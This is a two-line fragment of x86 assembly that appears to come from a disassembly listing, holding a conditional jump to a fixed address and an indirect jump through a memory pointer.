jle 0x45b52c
jmp dword [0x56cba6]